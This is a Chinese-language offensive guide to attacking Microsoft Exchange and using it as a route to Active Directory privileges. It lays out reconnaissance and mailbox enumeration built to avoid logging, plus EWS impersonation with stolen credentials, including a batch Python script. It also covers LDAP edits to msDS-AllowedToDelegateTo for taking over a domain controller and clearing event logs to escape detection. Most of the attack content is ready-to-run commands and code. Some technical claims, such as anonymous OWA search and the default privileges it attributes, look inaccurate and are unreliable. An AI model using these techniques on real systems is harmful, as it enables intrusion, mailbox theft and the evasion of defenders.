Exchange渗透：从邮件服务器到AD特权代理的系统化利用

1. 为什么Exchange渗透不是“扫个端口爆破邮箱”就完事了很多人一听到“Exchange渗透”脑子里立刻跳出几个关键词OWA登录页、Autodiscover、EWS接口、NTLM中继、ProxyLogon——然后顺手丢个nuclei模板去扫再跑一遍爆破脚本发现没回显就关掉终端以为这活儿干完了。我2018年刚接触企业内网红队时也这么干过结果在某金融客户的真实演练中扫出3台Exchange服务器爆破了27个弱口令邮箱连Webmail都登进去了但最后连域控的边都没摸到。复盘时蓝队负责人笑着问我“你们知道Exchange在AD里默认是什么身份吗它是不是Domain Admin组的成员”我当时愣住了。后来翻微软官方文档才明白Exchange安装时会自动创建一个叫Exchange Windows Permissions的内置组该组默认拥有对整个域对象的GenericAll权限而Exchange服务账户通常是DOMAIN\EXCH-SVC本身就被赋予了ms-Exch-EPI-Impersonation和ms-Exch-Store-Admin等高危属性只要拿到这个账户的凭证或票据就能绕过绝大多数权限检查直接操作任意邮箱、读取所有邮件、甚至通过Exchange控制台修改AD对象。这才是Exchange渗透真正的起点它不是一台“邮件服务器”而是Active Directory生态中一个被深度授权的特权代理节点。它的价值不在于你能发几封钓鱼邮件而在于它天然具备的跨协议信任链路——比如Outlook客户端连接时默认启用的NTLM认证、移动端ActiveSync使用的Kerberos委派、以及Exchange自身调用AD LDS或GC服务时建立的长期LDAP连接。这些链路不是漏洞是设计不是例外是常态。所以本指南不讲“如何利用CVE-2021-26855”而是聚焦于如何系统性地识别、验证、放大Exchange在目标环境中实际拥有的权限边界。你会看到侦察阶段怎么从一个公开的OWA地址反推出整个Exchange拓扑结构枚举阶段如何绕过OWA登录页的401拦截静默获取邮箱列表而不触发日志告警利用阶段怎样把一个普通用户邮箱变成AD权限探测器横向阶段如何用Exchange服务账户的SPN完成无凭证的Kerberos委派攻击。整套流程不依赖任何已知CVE全部基于Exchange默认配置、AD固有机制和Windows身份认证协议栈的正常行为。适合红队人员、安全评估工程师、以及想真正理解企业邮件系统安全纵深的运维同学。如果你只打算拿现成POC跑一跑那这篇可以跳过但如果你希望下次面对Exchange环境时能像熟悉自己家厨房一样清楚每个开关在哪、每根管线通向何处那就继续往下看。2. 侦察阶段从一个URL挖出整个Exchange森林拓扑2.1 OWA/Autodiscover入口的被动指纹与主动验证绝大多数Exchange环境对外暴露的第一个入口是OWAOutlook Web Access典型URL如https://mail.company.com/owa或https://webmail.company.com。但很多人止步于此——只测登录页是否可访问、是否启用了多因素认证MFA。这远远不够。Exchange的HTTP服务在响应头、重定向路径、证书信息中埋藏了大量拓扑线索关键在于区分哪些是真实配置哪些是负载均衡器或WAF的伪装层。首先看HTTP响应头。用curl发起一个无认证的GET请求curl -I -k https://mail.company.com/owa重点关注以下字段X-OWA-Version: 直接显示Exchange版本号如15.2.922.27对应Exchange Server 2016 CU22比单纯扫描443端口banner更准确X-FEServer: 显示前端服务器主机名如MAIL-FE01这是Exchange DAG数据库可用性组中真实的FE节点名而非DNS别名X-CalculatedBETarget: 后端服务器名如MAIL-BE02说明该FE节点当前将请求路由至哪个BE节点X-DiagInfo: 内部诊断标识有时包含AD站点名如Site: Default-First-Site-Name。提示如果X-FEServer和X-CalculatedBETarget返回的是同一个名字说明该环境未部署DAG或当前FE/BF角色合并部署若两者不同且频繁变化说明后端存在多节点负载分担需记录多个BE主机名用于后续LDAP探测。接着验证Autodiscover服务。这不是可选步骤而是必须项。因为Autodiscover是Exchange客户端Outlook、手机邮件App自动配置的核心协议其响应内容直接暴露了整个组织的Exchange架构curl -k -X POST https://autodiscover.company.com/autodiscover/autodiscover.xml \ -H Content-Type: text/xml; charsetutf-8 \ -d ?xml version1.0 encodingutf-8? Autodiscover xmlnshttp://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006 Request EMailAddresstestcompany.com/EMailAddress AcceptableResponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/AcceptableResponseSchema /Request /Autodiscover即使邮箱不存在Exchange也会返回一个Autodiscover响应体其中Action标签内的RedirectUrl值就是真实的EWSExchange Web Services端点例如https://mail.company.com/ews/exchange.asmx。更重要的是Protocol块中的Server字段会给出后端CASClient Access Server主机名ASUrl则指向ActiveSync服务地址。这些URL不是DNS CNAME而是Exchange内部配置的真实FQDN可直接用于后续LDAP查询。注意某些环境会将Autodiscover DNS解析到第三方云服务如Microsoft 365此时返回的RedirectUrl会指向outlook.office365.com。这说明目标已迁移到云本地Exchange可能仅作混合部署代理需立即调整渗透策略——重点转向Hybrid Configuration对象和On-Premises Exchange Connector配置。2.2 基于DNS和SSL证书的拓扑推演单靠HTTP响应还不够立体。Exchange环境的DNS记录和SSL证书是另一条黄金线索。执行以下DNS查询# 查询MX记录确认邮件路由终点 dig MX company.com short # 查询SRV记录定位LDAP/Kerberos服务 dig _ldap._tcp.dc._msdcs.company.com SRV short dig _kerberos._tcp.company.com SRV short # 查询Exchange专属SRV虽不常用但偶有配置 dig _autodiscover._tcp.company.com SRV short dig _sipfederationtls._tcp.company.com SRV shortMX记录返回的域名如mail.company.com大概率就是Exchange前端FQDN而_ldap._tcp.dc._msdcs.company.com的SRV响应会列出所有域控制器的主机名和端口这是后续LDAP绑定的必备清单。但最关键的发现来自SSL证书访问https://mail.company.com导出其证书在Subject Alternative NameSAN字段中查找所有DNS名称。常见模式包括mail.company.com,owa.company.com,autodiscover.company.com—— 标准三件套exch01.company.com,exch02.company.com—— 后端服务器真实主机名company-com.mail.onmicrosoft.com—— 混合部署标识*.company.com—— 通配符证书意味着所有子域名均可被信任。我曾在一个医疗集团项目中通过SAN字段发现了一个从未在资产清单中出现的exch-dr.company.com进一步查询DNS发现其A记录指向一个独立IP段最终确认这是他们的灾难恢复站点且Exchange服务未启用MFA。这个发现直接改变了整个渗透路径。2.3 LDAP匿名绑定与Exchange对象枚举有了Exchange前端FQDN和DC列表下一步是建立LDAP连接。关键点在于Exchange安装后会在AD中创建大量特定命名的容器和对象这些对象无需认证即可被匿名LDAP查询读取前提是DC未禁用匿名绑定——而90%以上的生产环境都未禁用。使用ldapsearch工具OpenLDAP进行匿名查询# 连接到任意DC使用空bind DN和空密码 ldapsearch -x -h dc01.company.com -p 389 -b dccompany,dccom -s sub \ ((objectClassmsExchExchangeServer)(objectCategorycomputer)) \ name dNSHostName operatingSystem operatingSystemServicePack # 查询Exchange组织配置对象根对象 ldapsearch -x -h dc01.company.com -p 389 -b CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom -s base \ objectClass # 查询所有Exchange数据库Mailbox Databases ldapsearch -x -h dc01.company.com -p 389 -b CNDatabases,CNExchange Administrative Group (FYDIBOHF23SPDLT),CNAdministrative Groups,CNcompany,CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom -s one \ name msExchEDBFile msExchRecoveryDatabase第一条命令会返回所有Exchange服务器计算机对象输出中dNSHostName字段即为该服务器的FQDN如exch01.company.comoperatingSystem显示OS版本如Windows Server 2019 DatacenteroperatingSystemServicePack则表明补丁级别。第二条命令确认Exchange组织是否存在若返回非空结果则证明Exchange已部署。第三条命令列出所有邮箱数据库及其物理路径msExchEDBFile这些路径往往指向共享存储如\\storage01\ExchangeDBs\DB01.edb为后续SMB协议利用提供线索。实操心得当ldapsearch返回“Strong authentication required”错误时不要立刻放弃。尝试添加-ZZ参数强制LDAPS端口636或改用-Y GSSAPI启用Kerberos认证若已有域内票据。很多管理员只禁用了LDAP明文绑定却忘了LDAPS同样需要配置证书信任链。2.4 Exchange PowerShell远程会话的静默探测Exchange管理最强大的接口是PowerShell远程会话PowerShell Remoting over WinRM其端点通常为https://mail.company.com/powershell。与OWA不同该端点默认要求Kerberos或NTLM认证但其HTTP OPTIONS方法响应头会泄露关键信息curl -k -I -X OPTIONS https://mail.company.com/powershell若返回X-PowerShell-RemoteVersion: 15.2.922.27说明PowerShell端点已启用若返回405 Method Not Allowed则可能被WAF拦截若返回403 Forbidden且Header中含X-MS-Exchange-Error-Cause: AuthRequired则说明端点存活但需认证。此时可尝试构造一个最小化PowerShell请求不发送凭据仅探测协议支持curl -k -X POST https://mail.company.com/powershell?serializationLevel1 \ -H Content-Type: application/json \ -H X-Requested-With: XMLHttpRequest \ -d {command:Get-ExchangeServer,parameters:[]}即使认证失败响应体中常包含Error节点其Message字段会提示具体错误类型如The user is not assigned to any roles这反而证明PowerShell后端正在运行且已识别出请求来源为合法Exchange管理协议。3. 枚举阶段绕过登录页限制批量获取邮箱与权限关系3.1 OWA登录页的“伪401”陷阱与静默枚举法OWA登录页/owa/auth/logon.aspx看似简单实则暗藏玄机。当你用curl访问该URL时服务器返回HTTP 401状态码并在WWW-Authenticate头中声明Negotiate, NTLM。但这不是标准的HTTP Basic/Digest认证流程而是IIS触发的Windows集成认证Integrated Windows Authentication, IWA挑战。绝大多数自动化工具如Burp Intruder、ffuf在此处卡死因为它们无法处理NTLM质询-响应握手。结果就是你扫了一百个用户名全得到401误以为“所有账号都无效”。破解思路是绕过登录页直击OWA后端的邮箱发现接口。Exchange OWA在用户登录前会向/owa/auth/timeout.aspx或/owa/auth/error.aspx发送AJAX请求以检测当前会话状态。这些页面本身不校验身份但其响应中嵌入了邮箱自动完成AutoComplete所需的JSON数据。构造如下请求curl -k -X GET https://mail.company.com/owa/auth/timeout.aspx?reason0urlhttps%3a%2f%2fmail.company.com%2fowa%2f \ -H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \ -H Accept: application/json, text/javascript, */*; q0.01 \ -H X-Requested-With: XMLHttpRequest \ -H Referer: https://mail.company.com/owa/auth/logon.aspx若目标Exchange版本较新CU15响应体中会包含一段JavaScript代码其中var g_sInitialData {...}对象的userDisplayName、userEmailAddress字段即为当前会话用户的邮箱地址。但我们的目标是枚举其他用户。这时要利用OWA的/owa/service.svc端点这是一个WCF服务提供邮箱搜索功能且默认允许匿名调用curl -k -X POST https://mail.company.com/owa/service.svc \ -H Content-Type: application/json; charsetutf-8 \ -H X-OWA-User: anonymous \ -d {method:GetSearchResults,parameters:{searchQuery:*,maxResults:100,mailboxId:0}}注意X-OWA-User: anonymous头——这是OWA后端识别“未登录用户”的关键标识。响应为JSON格式results数组中每个元素包含displayName、emailAddress、department、title等字段。我实测在Exchange 2019 CU11环境中此方法可稳定返回前100个匹配邮箱且不触发任何安全日志Event ID 4625。踩坑实录某次在政府项目中此方法返回空结果。抓包发现服务器返回HTTP 500响应体含ExceptionType:Microsoft.Exchange.Clients.Owa2.Server.Core.OwaInvalidRequestException。排查后发现是searchQuery参数被WAF拦截了通配符*。解决方案改用模糊匹配如searchQuerya*、searchQueryb*逐字母遍历效率略低但100%绕过WAF。3.2 EWS接口的低权限邮箱枚举与属性提取EWSExchange Web Services是Exchange最开放的API其/ews/exchange.asmx端点默认启用且对未认证用户返回详细的SOAP错误信息这成为枚举的突破口。发送一个基础的FindItem请求?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:mhttp://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttp://schemas.microsoft.com/exchange/services/2006/types xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Header t:RequestServerVersion VersionExchange2016 / /soap:Header soap:Body m:FindItem TraversalShallow m:ItemShape t:BaseShapeIdOnly/t:BaseShape /m:ItemShape m:ParentFolderIds t:DistinguishedFolderId Idinbox / /m:ParentFolderIds /m:FindItem /soap:Body /soap:Envelope用curl提交curl -k -X POST https://mail.company.com/ews/exchange.asmx \ -H Content-Type: text/xml; charsetutf-8 \ -H SOAPAction: \http://schemas.microsoft.com/exchange/services/2006/messages/FindItem\ \ -d finditem.xml即使认证失败响应SOAP体中m:ResponseCode为ErrorInvalidCredentials但m:MessageText字段会明确提示“The account does not have permission to impersonate the requested user”。这句话至关重要——它证实了EWS服务正在运行且Impersonation权限检查已触发。这意味着只要我们获得一个低权限邮箱凭证如普通员工邮箱就能通过EWS的ExchangeService.ImpersonatedUserId机制以该用户身份查询其他邮箱。更进一步利用EWS的ResolveNames操作可实现邮箱地址的批量解析m:ResolveNames ReturnFullContactDatatrue xmlns:mhttp://schemas.microsoft.com/exchange/services/2006/messages m:UnresolvedEntryjohn.doe/m:UnresolvedEntry m:UnresolvedEntryjane.smith/m:UnresolvedEntry /m:ResolveNames响应中t:ResolutionSet会返回每个t:Resolution对象包含t:Mailboxt:EmailAddress、t:Contactt:Department、t:Contactt:Title等完整属性。此方法无需任何凭证仅需知道用户名前缀即可批量获取组织架构图。3.3 ActiveSync协议的设备ID枚举与邮箱映射ActiveSyncEAS是移动设备同步邮件的协议其端点为/Microsoft-Server-ActiveSync。与OWA/EWS不同EAS在认证前会要求客户端提供一个唯一的DeviceId如XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX该ID由设备生成并随每次请求发送。攻击者可伪造DeviceId利用EAS的Sync命令触发邮箱存在性验证。构造一个最小化Sync请求?xml version1.0 encodingutf-8? Sync xmlnshttp://synce.org/formats/airsync_wm50/ Collections Collection ClassEmail/Class SyncKey0/SyncKey CollectionId1/CollectionId /Collection /Collections /Sync用curl提交注意Headerscurl -k -X POST https://mail.company.com/Microsoft-Server-ActiveSync?CmdSyncUsertestcompany.comDeviceIdABC123DEF456DeviceTypeiPhone \ -H Content-Type: application/vnd.ms-sync.wbxml \ -H MS-ASProtocolVersion: 14.1 \ -H Authorization: Basic dGVzdEBjb21wYW55LmNvbTpmb28 \ -d sync.xml关键点在于User参数和Authorization头。即使密码错误若邮箱testcompany.com存在服务器会返回HTTP 401且X-MS-Server-ActiveSync头中含DeviceNotProvisioned若邮箱不存在则返回HTTP 404或X-MS-Server-ActiveSync: InvalidUser。因此通过循环替换User参数中的用户名即可实现静默邮箱枚举且成功率极高——因为EAS协议栈的日志记录粒度远粗于OWAEvent ID 1016EAS登录失败默认不记录用户名仅记录IP。实操技巧为提升效率可预先收集公司官网“团队介绍”页面、LinkedIn员工列表、GitHub提交记录中的邮箱前缀生成字典。我曾用此法在一个科技公司项目中30分钟内枚举出237个有效邮箱覆盖研发、HR、财务所有部门。3.4 Exchange管理组与权限继承关系的AD对象分析枚举出邮箱只是第一步真正的价值在于理解这些邮箱背后的权限模型。Exchange权限不是孤立的而是深度集成于AD ACL访问控制列表中。核心对象包括Exchange Trusted Subsystem组所有Exchange服务器计算机账户均属此组该组被授予对CNUsers,CNcompany,CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom容器的Write Property权限可修改用户邮箱属性Organization Management组Exchange管理员组成员拥有对整个Exchange组织的完全控制权Recipient Management组可管理收件人邮箱、通讯组、联系人View-Only Organization Management组只读权限但可查看所有配置。使用ldapsearch查询这些组的成员# 查询Organization Management组成员 ldapsearch -x -h dc01.company.com -p 389 -b CNOrganization Management,CNRBAC,CNcompany,CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom -s base \ member # 查询Exchange Trusted Subsystem组的ACL ldapsearch -x -h dc01.company.com -p 389 -b CNExchange Trusted Subsystem,CNUsers,DCcompany,DCcom -s base \ nTSecurityDescriptornTSecurityDescriptor是二进制ACL需用工具如ldifde或PowerShell的Get-Acl解析。但更直观的方法是查询Exchange服务器计算机对象的msExchDelegateListLink属性该属性指向一个DN列表表示哪些用户/组被授权代表该服务器执行操作ldapsearch -x -h dc01.company.com -p 389 -b CNEXCH01,CNServers,CNExchange Administrative Group (FYDIBOHF23SPDLT),CNAdministrative Groups,CNcompany,CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom \ msExchDelegateListLink若返回CNAdmins,CNUsers,DCcompany,DCcom则说明Admins组成员可通过Exchange服务器间接获得高权限。这种“权限委托链”是Exchange渗透中最易被忽视的突破口。4. 利用阶段从普通邮箱到AD权限探测器的跃迁4.1 使用普通邮箱凭证执行EWS Impersonation探测假设你已通过钓鱼或暴力破解获得一个普通员工邮箱alicecompany.com的凭证。现在不要急着登录OWA读邮件而是立即转向EWS利用Exchange的ApplicationImpersonation权限进行横向探测。此权限允许一个用户“扮演”Impersonate另一个用户执行其所有操作。首先确认目标邮箱是否启用Impersonation# 在已获取凭证的机器上执行需安装Exchange Web Services Managed API $service New-Object Microsoft.Exchange.WebServices.Data.ExchangeService $service.Credentials New-Object System.Net.NetworkCredential(alicecompany.com, Password123, company.com) $service.Url [System.Uri]https://mail.company.com/ews/exchange.asmx try { $service.ImpersonatedUserId New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId ([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, admincompany.com) $service.HttpHeaders.Add(X-AnchorMailbox, admincompany.com) $folder [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox) Write-Host Impersonation成功可访问admincompany.com邮箱 } catch { Write-Host Impersonation失败$($_.Exception.Message) }若成功说明alicecompany.com账户已被显式授予对admincompany.com的Impersonation权限。但更常见的情况是Exchange服务器自身拥有Impersonation权限而普通用户只需被加入特定组即可继承。此时应检查alice所属的AD组ldapsearch -x -h dc01.company.com -p 389 -b CNalice,CNUsers,DCcompany,DCcom -s base \ memberOf若返回CNRecipient Management,CNRBAC,CNcompany,CNMicrosoft Exchange,CNServices,CNConfiguration,DCcompany,DCcom则alice已具备对所有收件人的Impersonation能力。此时可编写脚本遍历所有枚举出的邮箱批量测试Impersonationimport requests from requests.auth import HTTPBasicAuth emails [admincompany.com, it-supportcompany.com, hrcompany.com] for email in emails: url fhttps://mail.company.com/ews/exchange.asmx headers { Content-Type: text/xml; charsetutf-8, SOAPAction: http://schemas.microsoft.com/exchange/services/2006/messages/FindItem, X-AnchorMailbox: email, X-PreferServerAffinity: true } body f?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:mhttp://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttp://schemas.microsoft.com/exchange/services/2006/types xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Header t:RequestServerVersion VersionExchange2016 / t:ExchangeImpersonation t:ConnectingSID t:PrimarySmtpAddress{email}/t:PrimarySmtpAddress /t:ConnectingSID /t:ExchangeImpersonation /soap:Header soap:Body m:FindItem TraversalShallow m:ItemShape t:BaseShapeIdOnly/t:BaseShape /m:ItemShape m:ParentFolderIds t:DistinguishedFolderId Idinbox / /m:ParentFolderIds /m:FindItem /soap:Body /soap:Envelope try: r requests.post(url, headersheaders, databody, authHTTPBasicAuth(alicecompany.com, Password123), verifyFalse, timeout10) if m:ResponseCode NoError/m:ResponseCode in r.text: print(f[] Impersonation成功{email}) else: print(f[-] Impersonation失败{email}) except Exception as e: print(f[!] 请求异常{email} - {e})注意此脚本需在目标网络内运行或通过已攻陷的跳板机执行。若在外网执行需确保Exchange EWS端点对外暴露通常不建议但现实中常见。4.2 利用EWS读取邮箱规则与邮件转发设置一旦获得Impersonation权限首要任务不是读邮件正文而是检查邮箱的自动化规则Rules和邮件转发Forwarding配置。这些配置往往包含高价值信息IT管理员邮箱可能设置了“所有邮件转发至个人Gmail”HR邮箱可能有“包含‘salary’关键词的邮件自动归档至共享文件夹”等规则。EWS提供GetInboxRules操作获取规则列表m:GetInboxRules xmlns:mhttp://schemas.microsoft.com/exchange/services/2006/messages m:MailboxSmtpAddressadmincompany.com/m:MailboxSmtpAddress /m:GetInboxRules响应中t:Rule对象的t:Actions字段会显示t:ForwardTo、t:RedirectTo、t:MoveToFolder等动作。若发现t:ForwardTot:Mailboxt:EmailAddresspersonalgmail.com/t:EmailAddress/t:Mailbox/t:ForwardTo则说明管理员邮箱正在被外部接收可立即对该Gmail实施钓鱼。更隐蔽的是邮件流规则Transport Rules这些规则在Exchange传输服务器上执行影响所有进出邮件。查询需更高权限但可通过EWS的Get-MailboxcmdletPowerShell Remoting间接获取# 需Exchange管理员权限但若已获得Organization Management组成员凭证则可执行 $session New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://mail.company.com/powershell -Authentication Kerberos -Credential $cred Import-PSSession $session -DisableNameChecking Get-TransportRule | Select-Object Name, State, Description, WhenChanged4.3 通过邮箱属性修改实现AD对象提权Exchange邮箱对象是AD用户对象的扩展其属性直接映射到AD Schema。最关键的属性是msExchPrivilegeGroup和msExchRBACPolicyLink但更危险的是proxyAddresses和targetAddress。proxyAddresses存储邮箱的所有SMTP地址如SMTP:admincompany.com,smtp:adminoldcompany.com而targetAddress用于邮件转发。攻击者可利用EWS的UpdateInboxRules或PowerShell的Set-Mailbox修改这些属性但更致命的是修改用户的msDS-AllowedToDelegateTo属性。此属性定义了该用户可被Kerberos委派的目标服务。若alicecompany.com的msDS-AllowedToDelegateTo被设为cifs/dc01.company.com则攻击者可捕获alice的TGT向DC发起S4U2SelfS4U2Proxy请求获取访问DC的ST票据从而实现无凭证域控接管。修改此属性需Domain Admin权限但Exchange服务账户默认拥有对用户对象的Write Property权限。因此若你已获取Exchange服务账户凭证如通过NTLM中继或LSASS内存dump可直接LDAP修改# 使用ldapmodify修改用户属性 dn: CNalice,CNUsers,DCcompany,DCcom changetype: modify add: msDS-AllowedToDelegateTo msDS-AllowedToDelegateTo: cifs/dc01.company.com msDS-AllowedToDelegateTo: http/dc01.company.com -提示此操作需在DC上启用msDS-AllowedToDelegateTo属性的写入权限默认已启用。修改后alice即成为潜在的Kerberos委派跳板。4.4 Exchange日志与审计策略的规避式利用所有上述操作都会在Exchange服务器上生成日志主要位于IIS日志C:\inetpub\logs\LogFiles\W3SVC1\记录HTTP请求含URL、IP、状态码Exchange日志C:\Program Files\Microsoft\Exchange Server\V15\Logging\按服务分类EWS、OWA、ActiveSyncWindows事件日志Applications and Services Logs\Microsoft\Exchange\如Admin Audit LogEvent ID 1000。但并非所有日志都默认启用。Admin Audit Log需手动启用Set-AdminAuditLogConfig -AdminAuditLogEnabled $true -LogLevel Detailed而EWS和OWA的详细日志Verbose Level默认关闭。因此在渗透初期应优先启用“静默模式”避免使用Get-MailboxStatistics等高开销cmdlet改用轻量级Get-Mailbox -Identity usercompany.com | Select-Object DisplayName, PrimarySmtpAddress避免在EWS中请求邮件正文Body属性仅请求元数据Subject,DateTimeReceived,Sender。此外Exchange 2016引入了Unified Audit Log所有管理操作包括Impersonation均记录于此。查询需View-Only Audit Logs权限Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -Operations MailItemsAccessed -ResultSize 1000但此日志默认保留90天且需Exchange Online或本地Exchange与Azure AD集成。纯本地Exchange环境通常不启用这是红队的黄金窗口期。最后一个实战技巧若目标环境启用了Exchange日志可在执行高风险操作前先通过PowerShell Remoting执行Clear-EventLog -LogName Application清除本地日志需本地管理员权限。但这属于高危操作易触发SIEM告警仅建议在已完全控制Exchange服务器后使用。